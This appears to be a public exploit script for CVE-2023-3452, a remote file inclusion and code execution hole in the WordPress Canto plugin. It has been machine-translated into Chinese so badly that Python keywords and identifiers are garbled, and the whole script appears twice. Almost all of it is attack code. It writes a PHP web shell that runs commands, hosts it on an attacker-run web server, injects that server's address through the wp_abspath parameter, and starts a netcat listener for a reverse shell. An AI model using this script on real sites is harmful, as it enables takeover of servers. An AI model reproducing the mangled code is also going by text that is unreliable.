#利用标题: WordPress插件CANTO 3.0.5-远程文件包含(RFI)和远程代码执行(RCE)
#date: 04/11/2023
#利用作者: Leopoldo Angulo(Leoanggal1)
#供应商homepage3360 https://wordpress.org/plugins/canto/
#软件Link: https://downloads.wordpress.org/plugin/canto.3.0.4.4.zip
#版本: 3.0.5之前的所有版本的Canto插件
#测试在: Ubuntu 22.04,WordPress 6.3.2,Canto插件3.0.4
#CVE : CVE-2023-3452
#POC Notes:
#WordPress的CANTO插件容易被远程文件包含在版本中,包括3.0.4通过“ WP_ABSPATH”参数。这允许未经验证的攻击者在服务器上包括并执行任意远程代码,前提是启用了允许_url_include。 (参考: https://nvd.nist.gov/vuln/detail/cve-2023-3452)
#本代码在以下几行中利用WP_ABSPATH变量的不当处理。
#. require_once($ _请求['wp_abspath']。'/wp-admin/admin.php');
#这只是一个示例,但是在脆弱插件文件的其他行中存在相同的错误配置。
#Leoanggal1的GitHub中的更多信息
#!/usr/bin/python3
导入argparse
导入http.server
导入SocketServer
导入线程
导入请求
导入操作系统
导入子过程
#定义默认的Web Shell
default_web_shell='?php system($ _ get ['cmd']);
def create_admin_file(local_dir,local_shell=none):
如果不是OS.PATH.EXISTS(LOCAL_DIR):
OS.Makedirs(local_dir)
#如果提供了本地外壳,请使用它;否则,使用默认的Web Shell
如果local_shell:
使用打开(f'{local_dir}/admin.php','wb')作为admin_file:
用opent(local_shell,'rb')为ointer_file:
admin_file.write(onigral_file.read())
其他:
使用打开(f'{local_dir}/admin.php','w')作为admin_file:
admin_file.write(default_web_shell)
def start_local_server(local_port):
处理程序=http.server.simplehttprequesthandler
httpd=socketserver.tcpserver(('0.0.0.0',local_port),处理程序)
打印(fort {local_port} .'上的f'local Web服务器')
httpd.serve_forever()
返回httpd
def exploit_rfi(url,local_shell,local_host,local_port,命令,nc_port):
local_dir='wp-admin'
create_admin_file(local_dir,local_shell)
target_url=f'{url}/wp-content/plugins/canto/includes/lib/download.php'
local_server=f'http://{local_host} : {local_port}'
命令=f'cmd={命令}'
如果local_shell:
#如果提供了本地外壳,请在指定的端口上启动NetCat
subprocess.popen([['nc','-lvp',str(nc_port)])
server_thread=threading.thread(target=start_local_server,args=(local_port,))
server_thread.daemon=true
server_thread.start()
exploit_url=f'{target_url}?wp_abspath={local_server} {命令}'
打印(f'Exploitation url: {exploit_url}')
响应=requests.get(exploit_url)
打印('服务器响应:')
打印(响应。文本)
#关闭本地Web服务器
打印(“关闭本地Web服务器.”)
server_thread.join()
如果name=='__ -Main __':
示例='''
示例:
- 检查漏洞
Python3 CVE -2023-3452.PY -U 3http://192.168.1.142 -LHOST 192.168.1.33
- 执行命令
Python3 CVE -2023-3452.PY -U -U http://192.168.1.142 -LHOST 192.168.1.33 -C'id'
- 上传并运行一个反壳文件。您可以从https://github.com/pentestmonkey/ph...ster/php-reverse-shell.php下载它,或使用msfvenom生成它。
PYTHON3 CVE-2023-3452.PY -U 3http://192.168.1.142 -LHOST 192.168.1.33 -s php-reverse-shell.php
'''
parser=argparse.argumentparser(description='脚本用于wordpress的canto插件中的远程文件包含漏洞-CVE-2023-3452',epilog=示例,formatter_class_class=argparse=argparse.rawdescriptionhelpformatter)
parser.add_argument(' - u',' - url',必需=true,default=note,help='弱点URL')
parser.add_argument(' - s',' - shell',help='web shell的本地文件')
parser.add_argument(' - lhost',' - local_host',必需=true,help,help='local web服务器ip')
parser.add_argument(' - lport',' - local_port',help='local web服务器端口')
parser.add_argument(' - c',' - command',默认='whoami',help='命令在目标上执行')
parser.add_argument(' - nc_port',' - nc_port',type=int,help=netcat的侦听器端口')
TRY:
args=parser.parse_args()
如果args.local_port是无:
args.local_port=8080#Valor Predeterminado si lport no se proporciona
exploit_rfi(args.url,args.shell,args.local_host,int(args.local_port),args.command,args.nc_port)
除了SystemExit:
parser.print_help()
#date: 04/11/2023
#利用作者: Leopoldo Angulo(Leoanggal1)
#供应商homepage3360 https://wordpress.org/plugins/canto/
#软件Link: https://downloads.wordpress.org/plugin/canto.3.0.4.4.zip
#版本: 3.0.5之前的所有版本的Canto插件
#测试在: Ubuntu 22.04,WordPress 6.3.2,Canto插件3.0.4
#CVE : CVE-2023-3452
#POC Notes:
#WordPress的CANTO插件容易被远程文件包含在版本中,包括3.0.4通过“ WP_ABSPATH”参数。这允许未经验证的攻击者在服务器上包括并执行任意远程代码,前提是启用了允许_url_include。 (参考: https://nvd.nist.gov/vuln/detail/cve-2023-3452)
#本代码在以下几行中利用WP_ABSPATH变量的不当处理。
#. require_once($ _请求['wp_abspath']。'/wp-admin/admin.php');
#这只是一个示例,但是在脆弱插件文件的其他行中存在相同的错误配置。
#Leoanggal1的GitHub中的更多信息
#!/usr/bin/python3
导入argparse
导入http.server
导入SocketServer
导入线程
导入请求
导入操作系统
导入子过程
#定义默认的Web Shell
default_web_shell='?php system($ _ get ['cmd']);
def create_admin_file(local_dir,local_shell=none):
如果不是OS.PATH.EXISTS(LOCAL_DIR):
OS.Makedirs(local_dir)
#如果提供了本地外壳,请使用它;否则,使用默认的Web Shell
如果local_shell:
使用打开(f'{local_dir}/admin.php','wb')作为admin_file:
用opent(local_shell,'rb')为ointer_file:
admin_file.write(onigral_file.read())
其他:
使用打开(f'{local_dir}/admin.php','w')作为admin_file:
admin_file.write(default_web_shell)
def start_local_server(local_port):
处理程序=http.server.simplehttprequesthandler
httpd=socketserver.tcpserver(('0.0.0.0',local_port),处理程序)
打印(fort {local_port} .'上的f'local Web服务器')
httpd.serve_forever()
返回httpd
def exploit_rfi(url,local_shell,local_host,local_port,命令,nc_port):
local_dir='wp-admin'
create_admin_file(local_dir,local_shell)
target_url=f'{url}/wp-content/plugins/canto/includes/lib/download.php'
local_server=f'http://{local_host} : {local_port}'
命令=f'cmd={命令}'
如果local_shell:
#如果提供了本地外壳,请在指定的端口上启动NetCat
subprocess.popen([['nc','-lvp',str(nc_port)])
server_thread=threading.thread(target=start_local_server,args=(local_port,))
server_thread.daemon=true
server_thread.start()
exploit_url=f'{target_url}?wp_abspath={local_server} {命令}'
打印(f'Exploitation url: {exploit_url}')
响应=requests.get(exploit_url)
打印('服务器响应:')
打印(响应。文本)
#关闭本地Web服务器
打印(“关闭本地Web服务器.”)
server_thread.join()
如果name=='__ -Main __':
示例='''
示例:
- 检查漏洞
Python3 CVE -2023-3452.PY -U 3http://192.168.1.142 -LHOST 192.168.1.33
- 执行命令
Python3 CVE -2023-3452.PY -U -U http://192.168.1.142 -LHOST 192.168.1.33 -C'id'
- 上传并运行一个反壳文件。您可以从https://github.com/pentestmonkey/ph...ster/php-reverse-shell.php下载它,或使用msfvenom生成它。
PYTHON3 CVE-2023-3452.PY -U 3http://192.168.1.142 -LHOST 192.168.1.33 -s php-reverse-shell.php
'''
parser=argparse.argumentparser(description='脚本用于wordpress的canto插件中的远程文件包含漏洞-CVE-2023-3452',epilog=示例,formatter_class_class=argparse=argparse.rawdescriptionhelpformatter)
parser.add_argument(' - u',' - url',必需=true,default=note,help='弱点URL')
parser.add_argument(' - s',' - shell',help='web shell的本地文件')
parser.add_argument(' - lhost',' - local_host',必需=true,help,help='local web服务器ip')
parser.add_argument(' - lport',' - local_port',help='local web服务器端口')
parser.add_argument(' - c',' - command',默认='whoami',help='命令在目标上执行')
parser.add_argument(' - nc_port',' - nc_port',type=int,help=netcat的侦听器端口')
TRY:
args=parser.parse_args()
如果args.local_port是无:
args.local_port=8080#Valor Predeterminado si lport no se proporciona
exploit_rfi(args.url,args.shell,args.local_host,int(args.local_port),args.command,args.nc_port)
除了SystemExit:
parser.print_help()